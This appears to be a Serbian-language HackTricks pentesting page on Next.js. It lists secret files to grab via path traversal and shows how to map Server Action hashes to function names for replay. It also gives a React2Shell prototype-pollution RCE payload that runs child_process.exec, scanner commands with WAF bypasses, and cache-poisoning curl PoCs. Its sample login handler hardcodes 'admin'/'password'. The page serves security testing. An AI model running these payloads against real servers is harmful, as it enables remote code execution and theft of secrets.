Ako pronađete path traversal ili download API u Next.js aplikaciji, ciljajte kompajlirane artefakte koji leak server-side tajne i logiku autentikacije/autorizacije:

  • .env / .env.local za session secrets i kredencijale provajdera.
  • .next/routes-manifest.json i .next/build-manifest.json za kompletan spisak ruta.
  • .next/server/pages/api/auth/[...nextauth].js da povratite kompajliranu NextAuth konfiguraciju (često sadrži fallback lozinke kada su process.env vrednosti nepostavljene).
  • next.config.js / next.config.mjs da pregledate rewrites, redirects i middleware routing.

Autentikacija i autorizacija

Pristup:

  • Autentikacija zasnovana na sesijama: Koristite kolačiće za upravljanje korisničkim sesijama.
  • Autentikacija zasnovana na tokenima: Implementirajte JWTs za stateless autentikaciju.
  • Provajderi treće strane: Integrirajte sa OAuth provajderima (npr. Google, GitHub) koristeći biblioteke poput next-auth.

Bezbednosne prakse:

  • Secure Cookies: Podesite atribute HttpOnly, Secure i SameSite.
  • Hashiranje lozinki: Uvek heširajte lozinke pre nego što ih sačuvate.
  • Validacija unosa: Sprečite injection napade validacijom i sanitizacijom unosa.

Primer:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Optimizacija performansi

Strategije:

  • Optimizacija slika: Koristite Next.js-ovu next/image komponentu za automatsku optimizaciju slika.
  • Podela koda: Iskoristite dynamic imports za podelu koda i smanjenje vremena početnog učitavanja.
  • Keširanje: Implementirajte strategije keširanja za API odgovore i statičke resurse.
  • Učitavanje na zahtev: Učitajte komponente ili resurse samo kada su potrebni.

Primer:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

Moderni Next.js koristi “Server Actions” koje se izvršavaju na serveru, ali se pozivaju sa klijenta. U produkciji su ti pozivi neprozirni: svi POSTs idu na zajednički endpoint i razlikuju se po build-specific hashu koji se šalje u Next-Action headeru. Primer:

POST /
Next-Action: a9f8e2b4c7d1...

Kada je productionBrowserSourceMaps omogućen, minified JS chunks sadrže pozive createServerReference(...) koji leak dovoljno strukture (plus associated source maps) da se rekonstruše mapiranje između action hash-a i originalnog imena funkcije. Ovo vam omogućava da prevedete heševe opažene u Next-Action u konkretne ciljeve kao što su deleteUserAccount() ili exportFinancialData().

Pristup ekstrakciji (regex on minified JS + optional source maps)

Pretražite preuzete JS chunks za createServerReference i ekstrahujte hash i simbol funkcije/izvora. Dva korisna paterna:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • Grupa 1: server action hash (40+ heksadecimalnih znakova)
  • Grupa 2: simbol ili putanja koja se može rešiti u originalnu funkciju preko source map-a kada je prisutan

Ako skripta najavi source map (trailer komentar //# sourceMappingURL=<...>.map), preuzmite ga i razrešite simbol/putanju u originalno ime funkcije.

Praktični tok rada

  • Pasivno otkrivanje tokom pregledanja: hvatati zahteve sa Next-Action headerima i JS chunk URL-ovima.
  • Preuzmite referencirane JS bundle-ove i prateće *.map fajlove (kada postoje).
  • Pokrenite regex iznad da izgradite hash↔name rečnik.
  • Koristite rečnik za ciljanje testiranja:
  • Prioritizacija po imenima (npr. transferFunds, exportFinancialData).
  • Pratite pokrivenost između build-ova po imenu funkcije (hash-ovi se menjaju između build-ova).

Izvođenje skrivenih aksiја (zahtev zasnovan na šablonu)

Uzmite važeći POST zabeležen u-proxy kao šablon i zamenite vrednost Next-Action da ciljate drugu otkrivenu akciju:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Reproduciraj u Repeateru i testiraj autorizaciju, validaciju unosa i poslovnu logiku inače nedostupnih akcija.

Burp automatizacija

  • NextjsServerActionAnalyzer (Burp extension) automatizuje gore navedeno u Burp-u:
  • Pretražuje proxy istoriju za JS chunk-ove, izvlači createServerReference(...) unose i parsira source map-ove kad su dostupne.
  • Održava pretraživi rečnik hash↔ime-funkcije i uklanja duplikate između build-ova po imenu funkcije.
  • Može locirati validan template POST i otvoriti spreman Repeater tab za slanje sa zamenjenim hash-om ciljne akcije.
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Napomene i ograničenja

  • Zahteva productionBrowserSourceMaps omogućen u produkciji da bi povratio imena iz bundle-ova/source mapa.
  • Otkrivanje imena funkcija samo po sebi nije ranjivost; koristi ga da usmeriš otkrivanje i testiraš autorizaciju svake akcije.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Deployments Next.js App Router-a koje izlažu Server Actions na react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) sadrže kritičnu server-side prototype pollution tokom deserializacije Flight chunk-ova. Kreiranjem $ referenci unutar Flight payload-a, napadač može preći od polluted prototypes do proizvoljnog izvršavanja JavaScripta, a zatim do izvršavanja OS komandi unutar Node.js procesa.

NodeJS - proto & prototype Pollution

Lanac napada u Flight chunk-ovima

  1. Prototype pollution primitive: Set "then": "$1:__proto__:then" so that the resolver writes a then function on Object.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
  2. Rebinding to the global Function constructor: Point _response._formData.get at "$1:constructor:constructor". During resolution, object.constructorObject, and Object.constructorFunction, so future calls to _formData.get() actually execute Function(...).
  3. Code execution via _prefix: Place JavaScript source in _response._prefix. When the polluted _formData.get is invoked, the framework evaluates Function(_prefix)(...), so the injected JS can run require('child_process').exec() or any other Node primitive.

Payload skeleton

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Mapiranje izloženosti React Server Function

React Server Functions (RSF) su sve funkcije koje sadrže direktivu ‘use server’;. Svaka form action, mutation, or fetch helper vezana za jednu od tih funkcija postaje RSC Flight endpoint koji će rado deserijalizovati attacker-supplied payloads. Korisni recon koraci izvedeni iz React2Shell assessments:

  • Static inventory: potražite direktivu da biste utvrdili koliko RSFs framework automatski izlaže.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • App Router defaults: create-next-app podrazumevano omogućava App Router + app/ direktorijum, što tiho pretvara svaku rutu u RSC-capable endpoint. App Router resursi kao što su /_next/static/chunks/app/ ili odgovori koji streamuju Flight chunks preko text/x-component predstavljaju jake otiske izloženosti na internetu.
  • Implicitly vulnerable RSC deployments: React-ovo službeno obaveštenje napominje da aplikacije koje shipuju RSC runtime mogu biti iskorišćene čak i bez eksplicitnih RSFs, pa tretirajte svaki build koji koristi react-server-dom-* 19.0.0–19.2.0 kao sumnjiv.
  • Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, itd. ponovo koriste isti serializer i nasleđuju identičnu udaljenu površinu napada dok ne ugrade zakrpljene React buildove.

Version coverage (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: ranjive u 19.0.0, 19.1.0–19.1.1 i 19.2.0; ispravljene u 19.0.1, 19.1.2 i 19.2.1, redom.
  • Next.js stable: App Router izdanja 15.0.0–16.0.6 ugrađuju ranjiv RSC stack. Patch train-ovi 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 sadrže ispravljene deps, pa su svi buildovi ispod tih verzija vredni provere.
  • Next.js canary: 14.3.0-canary.77+ takođe isporučuje bugovan runtime i trenutno nema zakrpljenih canary izdanja, što te otiske čini snažnim kandidatima za eksploataciju.

Remote detection oracle

Assetnote’s react2shell-scanner šalje konstruisani multipart Flight request na kandidatske putanje i posmatra ponašanje na strani servera:

  • Default mode izvršava deterministički RCE payload (matematička operacija reflektovana preko X-Action-Redirect) koji dokazuje izvršenje koda.
  • --safe-check mode namerno korumpira Flight poruku tako da zakrpljeni serveri vraćaju 200/400, dok ranjivi ciljevi emituju HTTP/500 odgovore koji sadrže substring E{"digest" unutar tela. Taj (500 + digest) par je trenutno najpouzdaniji udaljeni orakul koji su objavili branitelji.
  • Ugrađeni --waf-bypass, --vercel-waf-bypass i --windows prekidači podešavaju raspored payload-a, dodaju besmislene podatke ili zamene OS komande tako da možete sondirati stvarne resurse na internetu.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Ostali nedavni problemi App Router-a (kraj 2025.)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – malformed Flight payloads mogu navesti RSC resolver u beskonačnu petlju (pre-auth DoS) ili prisiliti serializaciju kompajliranog Server Function koda za druge akcije. App Router builds ≥13.3 su pogođeni dok se ne patchuju; 15.0.x–16.0.x zahtevaju specifične patch linije iz upstream advisory. Reuse-ujte normal Server Action put ali stream-ujte telo text/x-component sa zlostavljačkim $ referencama. Iza CDN-a viseca konekcija ostaje otvorena zbog cache timeouts, što DoS čini jeftinim.
  • Savet za trijažu: Nezaštićeni ciljevi vraćaju 500 sa E{"digest" nakon malformed Flight payload-ova; patched build-ovi vraćaju 400/200. Testirajte bilo koji endpoint koji već streaming-uje Flight chunks (tražite Next-Action headers ili text/x-component odgovore) i replay-ujte sa modifikovanim payload-om.
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – nedostatak Vary dozvoljava da Accept: text/x-component odgovor bude keširan i posluživan browser-ima koji očekuju HTML. Jedan priming zahtev može zameniti stranicu sirovim RSC payload-ovima. PoC tok:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

Ako drugi odgovor vraća JSON Flight podatke umesto HTML-a, ruta je podložna cache poisoning-u. Očistite cache nakon testiranja.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks